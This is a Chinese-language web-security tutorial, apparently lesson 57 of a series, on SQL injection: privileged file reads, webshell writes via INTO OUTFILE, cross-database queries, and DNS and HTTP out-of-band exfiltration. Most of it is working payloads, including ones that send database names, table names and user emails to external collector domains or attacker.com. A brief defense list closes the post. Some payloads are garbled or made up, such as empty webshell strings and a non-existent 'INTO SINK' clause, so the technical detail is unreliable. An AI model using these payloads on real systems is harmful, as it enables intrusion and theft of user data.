57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

06-01 1814阅读

        SQL注入是WEB安全领域中最经典、最具破坏力的攻击手段之一。它不仅是渗透测试中的核心技能,也是防御者需要重点关注的漏洞类型。本文将深入探讨SQL注入中的几个关键方向:高权限利用、跨库操作、文件读写以及带外技术,并结合实际案例分析如何利用这些技术实现攻击,以及如何进行防御。

一、SQL注入基础:从入门到高权限

SQL注入的核心在于攻击者通过构造恶意SQL语句,绕过应用的验证逻辑,直接与数据库交互。根据注入方式的不同,SQL注入可分为以下几种类型:

  1. Union注入:利用UNION SELECT语句合并查询结果,适用于返回数据的场景。

  2. 布尔盲注:通过判断布尔值(True/False)推测数据库内容。

  3. 时间盲注:通过延迟数据库响应时间(如SLEEP()函数)推测数据。

  4. 报错注入:利用数据库错误信息直接获取数据。

高权限利用

高权限注入的关键在于利用数据库的高权限账户(如root或sa),执行系统级操作。以下是一些常见的高权限利用场景:

  • 读取系统文件:通过LOAD_FILE()函数读取服务器上的敏感文件(如/etc/passwd或C:\Windows\System32\drivers\etc\hosts)。

    SELECT LOAD_FILE('/etc/passwd');
  • 写入文件:通过INTO OUTFILE或INTO DUMPFILE将数据写入服务器文件系统

    SELECT '' INTO OUTFILE '/var/www/html/shell.php';
  • 执行系统命令:在支持的数据库(如MySQL)中,通过sys_exec()或xp_cmdshell执行命令。

    SELECT sys_exec('whoami');

    实战案例:从注入到shell

    假设目标应用存在一个未过滤id参数的注入点:

    http://example.com/page?id=1

    通过布尔盲注确认数据库版本为MySQL 5.7+,并利用高权限账户写入webshell:

    http://example.com/page?id=1;SELECT '' INTO OUTFILE '/var/www/html/shell.php'--

    访问http://example.com/shell.php?cmd=id即可获取服务器权限。

    二、跨库操作:突破数据库边界

    跨库操作允许攻击者在不同数据库之间执行查询,这在多数据库架构中尤为重要。以下是一些关键点:

    1. 获取数据库列表:通过

      ' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#

      列出所有数据库。57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

    1. 跨库查询:

      SELECT * FROM other_db.tbl_users;

    实战案例:跨库提取敏感数据

    假设目标应用使用了多个数据库,攻击者可以通过以下步骤提取敏感数据:

    1. 列出所有数据库:

      http://example.com/page?id=1;SHOW DATABASES--
    2. 切换到目标数据库并查询敏感表:
      http://example.com/page?id=1;USE admin_db; SELECT * FROM users--

    三、文件读写:从数据到系统控制

    文件读写是SQL注入中最具威胁的功能之一,它允许攻击者直接操作服务器文件系统。

    #文件操作:

    关于网站路径获取方法:

    1、遗留文件

    2、报错显示

    3、读中间件配置

    4、爆破fuzz路径

    文件读取

    • MySQL:使用LOAD_FILE()读取文件。

      ' union select LOAD_FILE('d:\\1.txt'),2,3#

      57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

      文件写入

      • MySQL:使用INTO OUTFILE或INTO DUMPFILE写入文件。

      • ' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#

        57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

        实战案例:利用文件写入获取shell

        1. 确认目标应用的web目录路径(如F:\tools\Phpstudy\phpstudy_pro\WWW\php\55)。

        2. 构造payload写入webshell:

          'union SELECT '' INTO OUTFILE 'F:\tools\Phpstudy\phpstudy_pro\WWW\php\55\shell.php'#
        3. 访问http://127.0.0.1:82/55/shell.php?cmd=whoamii验证shell。57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

        四、带外技术:突破网络限制

        带外技术(Out-of-Band, OOB)通过外部通道(如DNS或HTTP请求)提取数据,适用于网络受限的场景。

        DNS带外

        利用DNS请求将数据编码为域名,通过Yakit第三方DNS服务器解析。

        • MySQL:使用LOAD_FILE()结合 INTO SINK。                                                                             ' union select load_file(concat('\\\\',(select database()),'.yjjoxijrhw.yutu.eu.org\\\aa')),2,3#

        • 查看数据库

          57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

          ' union select load_file(concat('\\\\',(select version()),'.yjjoxijrhw.yutu.eu.org\\aa')),2,3#

          查看版本

          57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

          ' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".gnrrqclihn.zaza.eu.org\\xxx.txt")),2,3#

          查表名57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

          ' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,2 ),".gnrrqclihn.zaza.eu.org\\xxx.txt")),2,3#

          57-WEB攻防-SQL注入:高权限、跨库、文件读写与带外技术

          ' union select load_file(concat("\\\\",(select email from users),".gnrrqclihn.zaza.eu.org\xxx.txt")),2,3#

          HTTP带外

          通过HTTP请求将数据发送到攻击者控制的服务器。

          • MySQL:使用LOAD_FILE()结合INTO SINK。

            SELECT LOAD_FILE('http://attacker.com/collect?data='@data);

            实战案例:带外提取数据库内容

            假设目标应用禁止直接回显数据,但允许外部网络请求:

            1. 构造payload将数据发送到攻击者服务器:

              'union SELECT LOAD_FILE(CONCAT('http://169.254.115.114:8085/', (SELECT username FROM users LIMIT 1)))--
            2. 在攻击者服务器上捕获DNS请求,解析出用户名。

            五、防御策略:从检测到加固

            SQL注入的防御需要从多个层面入手,以下是一些关键措施:

            1. 输入验证:对用户输入进行严格验证,拒绝非法字符。

            2. 参数化查询:使用预编译语句(如PreparedStatement)避免SQL拼接。

            3. 最小权限原则:为数据库账户分配最小必要权限,禁止高权限账户直接用于应用。

            4. Web应用防火墙(WAF):部署WAF检测和阻断SQL注入攻击。

            5. 定期审计:对数据库和应用代码进行定期安全审计。

             

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码